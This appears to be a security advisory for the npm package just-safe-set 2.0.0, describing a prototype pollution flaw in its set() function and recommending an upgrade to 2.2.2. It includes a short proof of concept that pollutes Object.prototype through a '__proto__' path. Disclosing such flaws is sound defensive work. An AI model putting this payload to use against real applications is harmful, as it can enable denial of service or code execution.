just-safe-set@2.0.0 vulnerabilities

just-safe-set is a part of a library of zero-dependency npm modules that do just do one thing.

Affected versions of this package are vulnerable to Prototype Pollution. The function set() does not check for the type of object before assigning value to the property. Due to this flaw an attacker could create a non-existent property or is able to manipulate the property which leads to DoS or potentially RCE.

PoC

var justSafeSet = require("just-safe-set")
var obj = {}
console.log("Before: " + {}.polluted);
justSafeSet(obj,'__proto__.polluted','polluted');
console.log("After: " + {}.polluted);

Upgrade just-safe-set to version 2.2.2 or higher.